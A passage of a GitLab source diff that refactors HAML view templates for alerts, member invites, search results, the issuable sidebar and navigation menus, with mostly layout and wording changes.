- = expanded ? _('Collapse') : _('Expand')
- %p
- = _("Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want.")
- = link_to _('How does cleanup work?'), help_page_path('user/packages/container_registry/index', anchor: 'cleanup-policy'), target: '_blank', rel: 'noopener noreferrer'
- .settings-content
- = render 'projects/registry/settings/index'
+#js-registry-settings{ data: { project_id: @project.id,
+ project_path: @project.full_path,
+ cadence_options: cadence_options.to_json,
+ keep_n_options: keep_n_options.to_json,
+ older_than_options: older_than_options.to_json,
+ is_admin: current_user&.admin.to_s,
+ admin_settings_path: ci_cd_admin_application_settings_path(anchor: 'js-registry-settings'),
+ enable_historic_entries: container_expiration_policies_historic_entry_enabled?(@project).to_s,
+ help_page_path: help_page_path('user/packages/container_registry/index', anchor: 'cleanup-policy'),
+ show_cleanup_policy_on_alert: show_cleanup_policy_on_alert(@project).to_s,
+ tags_regex_help_page_path: help_page_path('user/packages/container_registry/index', anchor: 'regex-pattern-examples') } }
diff --git a/app/views/projects/show.html.haml b/app/views/projects/show.html.haml
index 90b79fddff1..4757f50739b 100644
--- a/app/views/projects/show.html.haml
+++ b/app/views/projects/show.html.haml
@@ -2,6 +2,7 @@
- add_page_startup_graphql_call('repository/path_last_commit', { projectPath: @project.full_path, ref: current_ref, path: current_route_path || "" })
- @content_class = "limit-container-width" unless fluid_layout
- @skip_current_level_breadcrumb = true
+- add_page_specific_style 'page_bundles/project'
= content_for :meta_tags do
= auto_discovery_link_tag(:atom, project_path(@project, rss_url_options), title: "#{@project.name} activity")
diff --git a/app/views/projects/tree/_tree_header.html.haml b/app/views/projects/tree/_tree_header.html.haml
index 340f9811f9a..60cc043f813 100644
--- a/app/views/projects/tree/_tree_header.html.haml
+++ b/app/views/projects/tree/_tree_header.html.haml
@@ -1,4 +1,4 @@
-.tree-ref-container
+.tree-ref-container.gl-display-flex.mb-2.mb-md-0
.tree-ref-holder
= render 'shared/ref_switcher', destination: 'tree', path: @path, show_create: true
@@ -16,5 +16,5 @@
.project-clone-holder.d-none.d-md-inline-block>
= render "projects/buttons/clone", dropdown_class: 'dropdown-menu-right'
- .project-clone-holder.d-block.d-md-none.mt-sm-2.mt-md-0.ml-sm-2>
+ .project-clone-holder.d-block.d-md-none.mt-sm-2.mt-md-0.ml-md-2>
= render "shared/mobile_clone_panel"
diff --git a/app/views/registrations/invites/new.html.haml b/app/views/registrations/invites/new.html.haml
index 6e6ff7aaeee..0feae9b17e9 100644
--- a/app/views/registrations/invites/new.html.haml
+++ b/app/views/registrations/invites/new.html.haml
@@ -13,6 +13,5 @@
url: users_sign_up_invites_path,
button_text: _('Continue'),
show_omniauth_providers: social_signin_enabled?,
- omniauth_providers_placement: :top,
- suggestion_path: nil
+ omniauth_providers_placement: :top
= render 'devise/shared/sign_in_link'
diff --git a/app/views/search/_results.html.haml b/app/views/search/_results.html.haml
index d5fbee34fa0..4ba906dd02f 100644
--- a/app/views/search/_results.html.haml
+++ b/app/views/search/_results.html.haml
@@ -4,7 +4,7 @@
.gl-md-display-flex
- if %w(issues merge_requests).include?(@scope)
#js-search-sidebar{ class: search_bar_classes }
- .gl-w-full.gl-flex-fill-1.gl-overflow-x-hidden
+ .gl-w-full.gl-flex-grow-1.gl-overflow-x-hidden
= render partial: "search/results/empty"
= render_if_exists 'shared/promotions/promote_advanced_search'
- else
@@ -14,7 +14,7 @@
.results.gl-md-display-flex.gl-mt-3
- if %w(issues merge_requests).include?(@scope)
#js-search-sidebar{ class: search_bar_classes }
- .gl-w-full.gl-flex-fill-1.gl-overflow-x-hidden
+ .gl-w-full.gl-flex-grow-1.gl-overflow-x-hidden
- if @scope == 'commits'
%ul.content-list.commit-list
= render partial: "search/results/commit", collection: @search_objects
diff --git a/app/views/search/results/_issuable.html.haml b/app/views/search/results/_issuable.html.haml
index cb8bab7d0de..da0adba88db 100644
--- a/app/views/search/results/_issuable.html.haml
+++ b/app/views/search/results/_issuable.html.haml
@@ -5,6 +5,10 @@
= link_to issuable_path(issuable), data: { track_event: 'click_text', track_label: "#{issuable.class.name.downcase}_title", track_property: 'search_result' }, class: 'gl-w-full' do
%span.term.str-truncated.gl-font-weight-bold.gl-ml-2= issuable.title
.gl-text-gray-500.gl-my-3
- = sprintf(s_(' %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}'), { project_name: issuable.project.full_name, issuable_iid: issuable.iid, issuable_created: time_ago_with_tooltip(issuable.created_at, placement: 'bottom'), issuable_updated: time_ago_with_tooltip(issuable.updated_at, placement: 'bottom'), author: link_to_member(@project, issuable.author, avatar: false) }).html_safe
+ = issuable_project_reference(issuable)
+ &middot;
+ = sprintf(s_('created %{issuable_created} by %{author}'), { issuable_created: time_ago_with_tooltip(issuable.created_at, placement: 'bottom'), author: link_to_member(@project, issuable.author, avatar: false) }).html_safe
+ &middot;
+ = sprintf(s_('updated %{time_ago}'), { time_ago: time_ago_with_tooltip(issuable.updated_at, placement: 'bottom') }).html_safe
.description.term.col-sm-10.gl-px-0
= highlight_and_truncate_issuable(issuable, @search_term, @search_highlight)
diff --git a/app/views/shared/_auto_devops_implicitly_enabled_banner.html.haml b/app/views/shared/_auto_devops_implicitly_enabled_banner.html.haml
index 6f70c927147..f788bf53a4c 100644
--- a/app/views/shared/_auto_devops_implicitly_enabled_banner.html.haml
+++ b/app/views/shared/_auto_devops_implicitly_enabled_banner.html.haml
@@ -1,13 +1,14 @@
- if show_auto_devops_implicitly_enabled_banner?(project, current_user)
- .qa-auto-devops-banner.auto-devops-implicitly-enabled-banner.gl-alert.gl-alert-info
- = sprite_icon('information-o', css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
- %button.js-close.gl-alert-dismiss{ type: 'button', 'aria-label' => _('Dismiss'), class: 'hide-auto-devops-implicitly-enabled-banner alert-link', data: { project_id: project.id } }
- = sprite_icon('close', css_class: 'gl-icon')
+ = render 'shared/global_alert',
+ variant: :info,
+ alert_class: 'qa-auto-devops-banner auto-devops-implicitly-enabled-banner',
+ close_button_class: 'hide-auto-devops-implicitly-enabled-banner',
+ close_button_data: { project_id: project.id } do
.gl-alert-body
= s_("AutoDevOps|The Auto DevOps pipeline has been enabled and will be used if no alternative CI configuration file is found.")
- - unless Gitlab.config.registry.enabled
- %div
- = _('Container registry is not enabled on this GitLab instance. Ask an administrator to enable it in order for Auto DevOps to work.')
- .gl-alert-actions.gl-mt-3
+ - unless Gitlab.config.registry.enabled
+ %div
+ = _('Container registry is not enabled on this GitLab instance. Ask an administrator to enable it in order for Auto DevOps to work.')
+ .gl-alert-actions
= link_to _('Settings'), project_settings_ci_cd_path(project), class: 'alert-link btn gl-button btn-info'
= link_to _('More information'), help_page_path('topics/autodevops/index.md'), target: '_blank', class: 'alert-link btn gl-button btn-default gl-ml-2'
diff --git a/app/views/shared/_confirm_fork_modal.html.haml b/app/views/shared/_confirm_fork_modal.html.haml
index ed52aa01047..96b128eb2ec 100644
--- a/app/views/shared/_confirm_fork_modal.html.haml
+++ b/app/views/shared/_confirm_fork_modal.html.haml
@@ -4,7 +4,7 @@
.modal-header
%h3.page-title= _('Fork project?')
%button.close{ type: "button", "data-dismiss": "modal", "aria-label" => _('Close') }
- %span{ "aria-hidden": true } &times;
+ %span{ "aria-hidden": "true" } &times;
.modal-body.p-3
%p= _("You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes.") % { tag_start: '', tag_end: ''}
.modal-footer
diff --git a/app/views/shared/_confirm_modal.html.haml b/app/views/shared/_confirm_modal.html.haml
index 4e7e5c9d3ba..8b13bb948ee 100644
--- a/app/views/shared/_confirm_modal.html.haml
+++ b/app/views/shared/_confirm_modal.html.haml
@@ -4,7 +4,7 @@
.modal-header
%h3.page-title= _('Confirmation required')
%button.close{ type: "button", "data-dismiss": "modal", "aria-label" => _('Close') }
- %span{ "aria-hidden": true } &times;
+ %span{ "aria-hidden": "true" } &times;
.modal-body
%p.text-danger.js-confirm-text
diff --git a/app/views/shared/_global_alert.html.haml b/app/views/shared/_global_alert.html.haml
new file mode 100644
index 00000000000..bebc72fe428
--- /dev/null
+++ b/app/views/shared/_global_alert.html.haml
@@ -0,0 +1,20 @@
+- icons = { info: 'information-o', warning: 'warning', success: 'check-circle', danger: 'error', tip: 'bulb' }
+
+- title = local_assigns.fetch(:title, nil)
+- variant = local_assigns.fetch(:variant, :info)
+- alert_class = local_assigns.fetch(:alert_class, nil)
+- alert_data = local_assigns.fetch(:alert_data, nil)
+- close_button_class = local_assigns.fetch(:close_button_class, nil)
+- close_button_data = local_assigns.fetch(:close_button_data, nil)
+- icon = icons[variant]
+
+%div{ role: 'alert', class: ["gl-alert-#{variant}", alert_class], data: alert_data }
+ %div{ class: [container_class, @content_class, 'gl-px-0!'] }
+ .gl-alert
+ = sprite_icon(icon, size: 16, css_class: "gl-alert-icon#{' gl-alert-icon-no-title' if title.nil?}")
+ %button.gl-alert-dismiss.js-close{ type: 'button', aria: { label: _('Close') }, class: close_button_class, data: close_button_data }
+ = sprite_icon('close', size: 16)
+ - if title
+ .gl-alert-title
+ = title
+ = yield
diff --git a/app/views/shared/_import_form.html.haml b/app/views/shared/_import_form.html.haml
index cf9ee1a5231..65e02341936 100644
--- a/app/views/shared/_import_form.html.haml
+++ b/app/views/shared/_import_form.html.haml
@@ -6,14 +6,8 @@
= f.label :import_url, class: 'label-bold' do
%span
= _('Git repository URL')
- = f.text_field :import_url,
- value: import_url.sanitized_url,
- autocomplete: 'off',
- class: 'form-control gl-form-input',
- placeholder: 'https://gitlab.company.com/group/project.git',
- required: true,
- pattern: '(?:git|https?):\/\/.*/.*\.git$',
- title: _('Please provide a valid URL ending with .git')
+ = f.text_field :import_url, value: import_url.sanitized_url,
+ autocomplete: 'off', class: 'form-control gl-form-input', placeholder: 'https://gitlab.company.com/group/project.git', required: true
.row
.form-group.col-md-6
diff --git a/app/views/shared/_search_settings.html.haml b/app/views/shared/_search_settings.html.haml
index 2974b2bf4d0..7265f090967 100644
--- a/app/views/shared/_search_settings.html.haml
+++ b/app/views/shared/_search_settings.html.haml
@@ -1,3 +1,5 @@
+- return if @hide_search_settings
+
- container_class = local_assigns.fetch(:container_class, 'gl-mt-5')
%div{ class: container_class }
diff --git a/app/views/shared/_service_settings.html.haml b/app/views/shared/_service_settings.html.haml
index 7af356c0820..c70fce7a38f 100644
--- a/app/views/shared/_service_settings.html.haml
+++ b/app/views/shared/_service_settings.html.haml
@@ -7,7 +7,7 @@
.js-integration-help-html.gl-display-none
-# All content below will be repositioned in Vue
- if lookup_context.template_exists?('help', "projects/services/#{integration.to_param}", true)
- = render "projects/services/#{integration.to_param}/help", subject: integration
+ = render "projects/services/#{integration.to_param}/help", integration: integration
- elsif integration.help.present?
.info-well
.well-segment
diff --git a/app/views/shared/_sidebar_toggle_button.html.haml b/app/views/shared/_sidebar_toggle_button.html.haml
index 9d1970093b8..a5a411db8a0 100644
--- a/app/views/shared/_sidebar_toggle_button.html.haml
+++ b/app/views/shared/_sidebar_toggle_button.html.haml
@@ -1,8 +1,9 @@
%a.toggle-sidebar-button.js-toggle-sidebar.qa-toggle-sidebar.rspec-toggle-sidebar{ role: "button", type: "button", title: "Toggle sidebar" }
= sprite_icon('chevron-double-lg-left', css_class: 'icon-chevron-double-lg-left')
- = sprite_icon('chevron-double-lg-right', css_class: 'icon-chevron-double-lg-right')
- %span.collapse-text= _("Collapse sidebar")
+ - if sidebar_refactor_disabled?
+ = sprite_icon('chevron-double-lg-right', css_class: 'icon-chevron-double-lg-right')
+ %span.collapse-text.gl-ml-3= _("Collapse sidebar")
= button_tag class: 'close-nav-button', type: 'button' do
= sprite_icon('close')
- %span.collapse-text= _("Close sidebar")
+ %span.collapse-text.gl-ml-3= _("Close sidebar")
diff --git a/app/views/shared/boards/components/sidebar/_time_tracker.html.haml b/app/views/shared/boards/components/sidebar/_time_tracker.html.haml
index 43081499920..9f230a4a09b 100644
--- a/app/views/shared/boards/components/sidebar/_time_tracker.html.haml
+++ b/app/views/shared/boards/components/sidebar/_time_tracker.html.haml
@@ -1,7 +1,5 @@
.block.time-tracking
- %time-tracker{ ":time-estimate" => "issue.timeEstimate || 0",
- ":time-spent" => "issue.timeSpent || 0",
- ":human-time-estimate" => "issue.humanTimeEstimate",
- ":human-time-spent" => "issue.humanTimeSpent",
- ":limit-to-hours" => "timeTrackingLimitToHours",
+ %time-tracker{ ":limit-to-hours" => "timeTrackingLimitToHours",
+ ":issuable-iid" => "issue.iid ? issue.iid.toString() : ''",
+ ":full-path" => "issue.project ? issue.project.fullPath : ''",
"root-path" => "#{root_url}" }
diff --git a/app/views/shared/file_hooks/_index.html.haml b/app/views/shared/file_hooks/_index.html.haml
index cab0adf159b..d48e9f3d02e 100644
--- a/app/views/shared/file_hooks/_index.html.haml
+++ b/app/views/shared/file_hooks/_index.html.haml
@@ -19,9 +19,6 @@
%li
.monospace
= File.basename(file)
- - if File.dirname(file).ends_with?('plugins')
- .text-warning
- = _('Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory.')
- else
.card.bg-light.text-center
diff --git a/app/views/shared/form_elements/_apply_template_warning.html.haml b/app/views/shared/form_elements/_apply_template_warning.html.haml
index 61c0e5c42f4..ca1d3d53f16 100644
--- a/app/views/shared/form_elements/_apply_template_warning.html.haml
+++ b/app/views/shared/form_elements/_apply_template_warning.html.haml
@@ -1,7 +1,7 @@
.form-group.row.js-template-warning.hidden.js-issuable-template-warning
.col-sm-12
.warning_message.mb-0{ role: 'alert' }
- %btn.js-close-btn.js-dismiss-btn.close{ type: "button", "aria-hidden": true, "aria-label": _("Close") }
+ %btn.js-close-btn.js-dismiss-btn.close{ type: "button", "aria-hidden": "true", "aria-label": _("Close") }
= sprite_icon("close")
%p
diff --git a/app/views/shared/gitpod/_enable_gitpod_modal.html.haml b/app/views/shared/gitpod/_enable_gitpod_modal.html.haml
index dacfbf63db8..6a8ff98a09e 100644
--- a/app/views/shared/gitpod/_enable_gitpod_modal.html.haml
+++ b/app/views/shared/gitpod/_enable_gitpod_modal.html.haml
@@ -4,7 +4,7 @@
.modal-header
%h3.page-title= _('Enable Gitpod?')
%button.close{ type: "button", "data-dismiss": "modal", "aria-label" => _('Close') }
- %span{ "aria-hidden": true } &times;
+ %span{ "aria-hidden": "true" } &times;
.modal-body.p-3
%p= (_("To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}.") % { user_prefs: link_to(_('user preferences'), profile_preferences_path(anchor: 'gitpod')) }).html_safe
.modal-footer
diff --git a/app/views/shared/issuable/_form.html.haml b/app/views/shared/issuable/_form.html.haml
index de657e39453..e79719d41b0 100644
--- a/app/views/shared/issuable/_form.html.haml
+++ b/app/views/shared/issuable/_form.html.haml
@@ -24,14 +24,6 @@
= render 'shared/form_elements/description', model: issuable, form: form, project: project
-- if issuable.respond_to?(:confidential)
- .form-group.row
- .offset-sm-2.col-sm-10
- .form-check
- = form.check_box :confidential, class: 'form-check-input'
- = form.label :confidential, class: 'form-check-label' do
- This issue is confidential and should only be visible to team members with at least Reporter access.
-
= render 'shared/issuable/form/metadata', issuable: issuable, form: form, project: project, presenter: presenter
= render_if_exists 'shared/issuable/approvals', issuable: issuable, presenter: presenter, form: form
diff --git a/app/views/shared/issuable/_search_bar.html.haml b/app/views/shared/issuable/_search_bar.html.haml
index 3e89969f46e..c03697a4076 100644
--- a/app/views/shared/issuable/_search_bar.html.haml
+++ b/app/views/shared/issuable/_search_bar.html.haml
@@ -23,7 +23,7 @@
- checkbox_id = 'check-all-issues'
%label.gl-sr-only{ for: checkbox_id }= _('Select all')
= check_box_tag checkbox_id, nil, false, class: "check-all-issues left"
- - if Feature.enabled?(:boards_filtered_search, @group) && is_epic_board
+ - if is_epic_board
#js-board-filtered-search{ data: { full_path: @group&.full_path } }
- else
.issues-other-filters.filtered-search-wrapper.d-flex.flex-column.flex-md-row
diff --git a/app/views/shared/issuable/_sidebar.html.haml b/app/views/shared/issuable/_sidebar.html.haml
index fb2019bef15..416c788603a 100644
--- a/app/views/shared/issuable/_sidebar.html.haml
+++ b/app/views/shared/issuable/_sidebar.html.haml
@@ -30,7 +30,8 @@
.block.reviewer.qa-reviewer-block
= render "shared/issuable/sidebar_reviewers", issuable_sidebar: issuable_sidebar, reviewers: reviewers, signed_in: signed_in
- = render_if_exists 'shared/issuable/sidebar_item_epic', issuable_sidebar: issuable_sidebar
+ - if @project.group.present?
+ = render_if_exists 'shared/issuable/sidebar_item_epic', issuable_sidebar: issuable_sidebar, group_path: @project.group.full_path, project_path: issuable_sidebar[:project_full_path], issue_iid: issuable_sidebar[:iid], issuable_type: issuable_type
- if issuable_sidebar[:supports_milestone]
- milestone = issuable_sidebar[:milestone] || {}
@@ -42,7 +43,7 @@
= milestone[:title]
- else
= _('None')
- .title.hide-collapsed
+ .hide-collapsed.gl-line-height-20.gl-mb-2.gl-text-gray-900{ data: { testid: "milestone_title" } }
= _('Milestone')
= loading_icon(css_class: 'gl-vertical-align-text-bottom hidden block-loading')
- if can_edit_issuable
diff --git a/app/views/shared/issuable/_sidebar_assignees.html.haml b/app/views/shared/issuable/_sidebar_assignees.html.haml
index 86369b32e98..7416fda6b44 100644
--- a/app/views/shared/issuable/_sidebar_assignees.html.haml
+++ b/app/views/shared/issuable/_sidebar_assignees.html.haml
@@ -42,22 +42,8 @@
- data['max-select'] = dropdown_options[:data][:'max-select'] if dropdown_options[:data][:'max-select']
- options[:data].merge!(data)
- - if directly_invite_members?
- - options[:dropdown_class] += ' dropdown-extended-height'
- - options[:footer_content] = true
- - options[:wrapper_class] = 'js-sidebar-assignee-dropdown'
- - options[:toggle_class] += ' js-invite-members-track'
- - data['track-event'] = 'show_invite_members'
- - options[:data].merge!(data)
- - invite_text = _('Invite Members')
- - track_label = 'edit_assignee'
-
- = dropdown_tag(title, options: options) do
- %ul.dropdown-footer-list
- %li
- .js-invite-members-trigger{ data: { trigger_element: 'anchor',
- display_text: invite_text,
- event: 'click_invite_members',
- label: track_label } }
- - else
- = dropdown_tag(title, options: options)
+ = render 'shared/issuable/sidebar_user_dropdown',
+ options: options,
+ wrapper_class: 'js-sidebar-assignee-dropdown',
+ track_label: 'edit_assignee',
+ trigger_source: "#{issuable_type}-assignee-dropdown"
diff --git a/app/views/shared/issuable/_sidebar_reviewers.html.haml b/app/views/shared/issuable/_sidebar_reviewers.html.haml
index 1a8f1a2639f..bc76d292dd6 100644
--- a/app/views/shared/issuable/_sidebar_reviewers.html.haml
+++ b/app/views/shared/issuable/_sidebar_reviewers.html.haml
@@ -39,4 +39,8 @@
- data['max-select'] = dropdown_options[:data][:'max-select'] if dropdown_options[:data][:'max-select']
- options[:data].merge!(data)
- = dropdown_tag(title, options: options)
+ = render 'shared/issuable/sidebar_user_dropdown',
+ options: options,
+ wrapper_class: 'js-sidebar-reviewer-dropdown',
+ track_label: 'edit_reviewer',
+ trigger_source: "#{issuable_type}-reviewer-dropdown"
diff --git a/app/views/shared/issuable/_sidebar_user_dropdown.html.haml b/app/views/shared/issuable/_sidebar_user_dropdown.html.haml
new file mode 100644
index 00000000000..3a17db5acf8
--- /dev/null
+++ b/app/views/shared/issuable/_sidebar_user_dropdown.html.haml
@@ -0,0 +1,21 @@
+- options = local_assigns.fetch(:options)
+- data = options[:data]
+
+- if directly_invite_members?
+ - options[:dropdown_class] += ' dropdown-extended-height'
+ - options[:footer_content] = true
+ - options[:wrapper_class] = local_assigns.fetch(:wrapper_class)
+ - options[:toggle_class] += ' js-invite-members-track'
+ - data['track-event'] = 'show_invite_members'
+ - data['track-label'] = local_assigns.fetch(:track_label)
+
+ = dropdown_tag(data['dropdown-title'], options: options) do
+ %ul.dropdown-footer-list
+ %li
+ .js-invite-members-trigger{ data: { trigger_element: 'anchor',
+ display_text: _('Invite Members'),
+ event: 'click_invite_members',
+ trigger_source: local_assigns.fetch(:trigger_source),
+ label: data['track-label'] } }
+- else
+ = dropdown_tag(data['dropdown-title'], options: options)
diff --git a/app/views/shared/issuable/form/_branch_chooser.html.haml b/app/views/shared/issuable/form/_branch_chooser.html.haml
index 70e931ac164..1f391e8a321 100644
--- a/app/views/shared/issuable/form/_branch_chooser.html.haml
+++ b/app/views/shared/issuable/form/_branch_chooser.html.haml
@@ -37,10 +37,12 @@
data: { placeholder: _('Select branch'), endpoint: refs_project_path(@project, sort: 'updated_desc', find: 'branches') }})
- if source_level < target_level
- .gl-alert.gl-alert-warning.gl-mt-4
- = sprite_icon('warning', css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
- .gl-alert-body
- = visibilityMismatchString
- %br
- = _('Review the target project before submitting to avoid exposing %{source} changes.') % { source: source_visibility }
+ .gl-alert.gl-alert-warning.gl-alert-not-dismissible.gl-max-content.gl-mt-4
+ .gl-alert-container
+ .gl-alert-content{ role: 'alert' }
+ = sprite_icon('warning', css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
+ .gl-alert-body
+ = visibilityMismatchString
+ %br
+ = _('Review the target project before submitting to avoid exposing %{source} changes.') % { source: source_visibility }
%hr
diff --git a/app/views/shared/issuable/form/_metadata.html.haml b/app/views/shared/issuable/form/_metadata.html.haml
index 366e819d252..1043eb49752 100644
--- a/app/views/shared/issuable/form/_metadata.html.haml
+++ b/app/views/shared/issuable/form/_metadata.html.haml
@@ -2,11 +2,19 @@
- issuable = local_assigns.fetch(:issuable)
- presenter = local_assigns.fetch(:presenter)
-- return unless can?(current_user, :"admin_#{issuable.to_ability_name}", issuable.project)
+- return unless can?(current_user, :"set_#{issuable.to_ability_name}_metadata", issuable)
- has_due_date = issuable.has_attribute?(:due_date)
- form = local_assigns.fetch(:form)
+- if issuable.respond_to?(:confidential)
+ .form-group.row
+ .offset-sm-2.col-sm-10
+ .form-check
+ = form.check_box :confidential, class: 'form-check-input'
+ = form.label :confidential, class: 'form-check-label' do
+ This issue is confidential and should only be visible to team members with at least Reporter access.
+
%hr
.row
%div{ class: (has_due_date ? "col-lg-6" : "col-12") }
diff --git a/app/views/shared/issue_type/_emoji_block.html.haml b/app/views/shared/issue_type/_emoji_block.html.haml
index ca2749b6bf9..26d30341999 100644
--- a/app/views/shared/issue_type/_emoji_block.html.haml
+++ b/app/views/shared/issue_type/_emoji_block.html.haml
@@ -4,7 +4,7 @@
.row.gl-m-0.gl-justify-content-space-between
.js-noteable-awards
= render 'award_emoji/awards_block', awardable: issuable, inline: true, api_awards_path: api_awards_path
- .new-branch-col
+ .new-branch-col.gl-my-2
= render_if_exists "projects/issues/timeline_toggle", issuable: issuable
#js-vue-sort-issue-discussions
#js-vue-discussion-filter{ data: { default_filter: current_user&.notes_filter_for(issuable), notes_filters: UserPreference.notes_filters.to_json } }
diff --git a/app/views/shared/members/_group.html.haml b/app/views/shared/members/_group.html.haml
index d98ba074687..2aac3a94c49 100644
--- a/app/views/shared/members/_group.html.haml
+++ b/app/views/shared/members/_group.html.haml
@@ -29,7 +29,7 @@
= group_link.human_access
= sprite_icon("chevron-down", css_class: "dropdown-menu-toggle-icon gl-top-3")
.dropdown-menu.dropdown-select.dropdown-menu-right.dropdown-menu-selectable
- = dropdown_title(_("Change permissions"))
+ = dropdown_title(_("Change role"))
.dropdown-content
%ul
- Gitlab::Access.options_with_owner.each do |role, role_id|
diff --git a/app/views/shared/members/_invite_group.html.haml b/app/views/shared/members/_invite_group.html.haml
index d59f2950df6..cefdf825eaa 100644
--- a/app/views/shared/members/_invite_group.html.haml
+++ b/app/views/shared/members/_invite_group.html.haml
@@ -3,21 +3,25 @@
- submit_url = local_assigns[:submit_url]
- group_link_field = local_assigns[:group_link_field]
- group_access_field = local_assigns[:group_access_field]
+- groups_select_tag_data = local_assigns[:groups_select_tag_data]
+
.row
.col-sm-12
= form_tag submit_url, class: 'invite-group-form js-requires-input', method: :post do
.form-group
= label_tag group_link_field, _("Select a group to invite"), class: "label-bold"
- = groups_select_tag(group_link_field, data: { skip_groups: @skip_groups }, class: 'input-clamp qa-group-select-field', required: true)
+ = groups_select_tag(group_link_field, data: groups_select_tag_data, class: 'input-clamp qa-group-select-field', required: true)
+ .form-text.text-muted.gl-mb-3
+ = _('Group sharing provides access to all group members (including members who inherited group membership from a parent group).')
.form-group
- = label_tag group_access_field, _("Max access level"), class: "label-bold"
+ = label_tag group_access_field, _("Max role"), class: "label-bold"
.select-wrapper
= select_tag group_access_field, options_for_select(access_levels, default_access_level), data: { qa_selector: 'group_access_field' }, class: "form-control select-control"
= sprite_icon('chevron-down', css_class: "gl-icon gl-absolute gl-top-3 gl-right-3 gl-text-gray-200")
.form-text.text-muted.gl-mb-3
- permissions_docs_path = help_page_path('user/permissions')
- link_start = %q{<a href="%{url}">}.html_safe % { url: permissions_docs_path }
- = _("%{link_start}Read more%{link_end} about role permissions").html_safe % { link_start: link_start, link_end: '</a>'.html_safe }
+ = _("%{link_start}Learn more%{link_end} about roles.").html_safe % { link_start: link_start, link_end: '</a>'.html_safe }
.form-group
= label_tag :expires_at, _('Access expiration date'), class: 'label-bold'
.clearable-input
diff --git a/app/views/shared/members/_invite_member.html.haml b/app/views/shared/members/_invite_member.html.haml
index 49111c821b1..e6863ed56a5 100644
--- a/app/views/shared/members/_invite_member.html.haml
+++ b/app/views/shared/members/_invite_member.html.haml
@@ -10,14 +10,14 @@
= label_tag :user_ids, _("GitLab member or Email address"), class: "label-bold"
= users_select_tag(:user_ids, multiple: true, class: 'input-clamp qa-member-select-field', scope: :all, email_user: true, placeholder: 'Search for members to update or invite')
.form-group
- = label_tag :access_level, _("Choose a role permission"), class: "label-bold"
+ = label_tag :access_level, _("Select a role"), class: "label-bold"
.select-wrapper
= select_tag :access_level, options_for_select(access_levels, default_access_level), class: "form-control project-access-select select-control"
= sprite_icon('chevron-down', css_class: "gl-icon gl-absolute gl-top-3 gl-right-3 gl-text-gray-200")
.form-text.text-muted.gl-mb-3
- permissions_docs_path = help_page_path('user/permissions')
- link_start = %q{<a href="%{url}">}.html_safe % { url: permissions_docs_path }
- = _("%{link_start}Read more%{link_end} about role permissions").html_safe % { link_start: link_start, link_end: '</a>'.html_safe }
+ = _("%{link_start}Learn more%{link_end} about roles.").html_safe % { link_start: link_start, link_end: '</a>'.html_safe }
.form-group
= label_tag :expires_at, _('Access expiration date'), class: 'label-bold'
.clearable-input
diff --git a/app/views/shared/members/_member.html.haml b/app/views/shared/members/_member.html.haml
index 88e2a74d235..8f334be0427 100644
--- a/app/views/shared/members/_member.html.haml
+++ b/app/views/shared/members/_member.html.haml
@@ -81,7 +81,7 @@
= member.human_access
= sprite_icon("chevron-down", css_class: "dropdown-menu-toggle-icon gl-top-3")
.dropdown-menu.dropdown-select.dropdown-menu-right.dropdown-menu-selectable
- = dropdown_title(_("Change permissions"))
+ = dropdown_title(_("Change role"))
.dropdown-content
%ul
- member.valid_level_roles.each do |role, role_id|
diff --git a/app/views/shared/milestones/_issuable.html.haml b/app/views/shared/milestones/_issuable.html.haml
index a62ed009552..184904dd7ab 100644
--- a/app/views/shared/milestones/_issuable.html.haml
+++ b/app/views/shared/milestones/_issuable.html.haml
@@ -3,7 +3,7 @@
- labels = issuable.labels
- assignees = issuable.assignees
- base_url_args = [project]
-- issuable_type_args = base_url_args + [issuable.class.table_name]
+- issuable_type_args = base_url_args + [issuable.class.table_name.to_sym]
- issuable_url_args = base_url_args + [issuable]
%li.issuable-row
diff --git a/app/views/shared/milestones/_sidebar.html.haml b/app/views/shared/milestones/_sidebar.html.haml
index 0088cd35781..56b2b0d5801 100644
--- a/app/views/shared/milestones/_sidebar.html.haml
+++ b/app/views/shared/milestones/_sidebar.html.haml
@@ -98,6 +98,7 @@
time_spent: @milestone.total_time_spent,
human_time_estimate: @milestone.human_total_time_estimate,
human_time_spent: @milestone.human_total_time_spent,
+ iid: @milestone.iid,
limit_to_hours: Gitlab::CurrentSettings.time_tracking_limit_to_hours.to_s } }
= render_if_exists 'shared/milestones/weight', milestone: milestone
diff --git a/app/views/shared/nav/_scope_menu.html.haml b/app/views/shared/nav/_scope_menu.html.haml
index 2f10914ef3d..cbee0e0429c 100644
--- a/app/views/shared/nav/_scope_menu.html.haml
+++ b/app/views/shared/nav/_scope_menu.html.haml
@@ -1,6 +1,6 @@
-.context-header
- = link_to scope_menu.link, **scope_menu.container_html_options do
- %span.avatar-container.rect-avatar.s40.project-avatar
- = source_icon(scope_menu.container, alt: scope_menu.title, class: 'avatar s40 avatar-tile', width: 40, height: 40)
- %span.sidebar-context-title
- = scope_menu.title
+- if sidebar_refactor_enabled?
+ = nav_link(**scope_menu.active_routes, html_options: scope_menu.nav_link_html_options) do
+ = render 'shared/nav/scope_menu_body', scope_menu: scope_menu
+- else
+ .context-header
+ = render 'shared/nav/scope_menu_body', scope_menu: scope_menu
diff --git a/app/views/shared/nav/_scope_menu_body.html.haml b/app/views/shared/nav/_scope_menu_body.html.haml
new file mode 100644
index 00000000000..a94c681e2d3
--- /dev/null
+++ b/app/views/shared/nav/_scope_menu_body.html.haml
@@ -0,0 +1,8 @@
+- avatar_size = sidebar_refactor_disabled? ? 40 : 32
+- avatar_size_class = sidebar_refactor_disabled? ? 's40' : 's32'
+
+= link_to scope_menu.link, **scope_menu.container_html_options, data: { qa_selector: 'project_scope_link' } do
+ %span{ class: ['avatar-container', 'rect-avatar', 'project-avatar', avatar_size_class] }
+ = source_icon(scope_menu.container, alt: scope_menu.title, class: ['avatar', 'avatar-tile', avatar_size_class], width: avatar_size, height: avatar_size)
+ %span.sidebar-context-title
+ = scope_menu.title
diff --git a/app/views/shared/nav/_sidebar.html.haml b/app/views/shared/nav/_sidebar.html.haml
index 552dcbfd6fd..54c3b8a281d 100644
--- a/app/views/shared/nav/_sidebar.html.haml
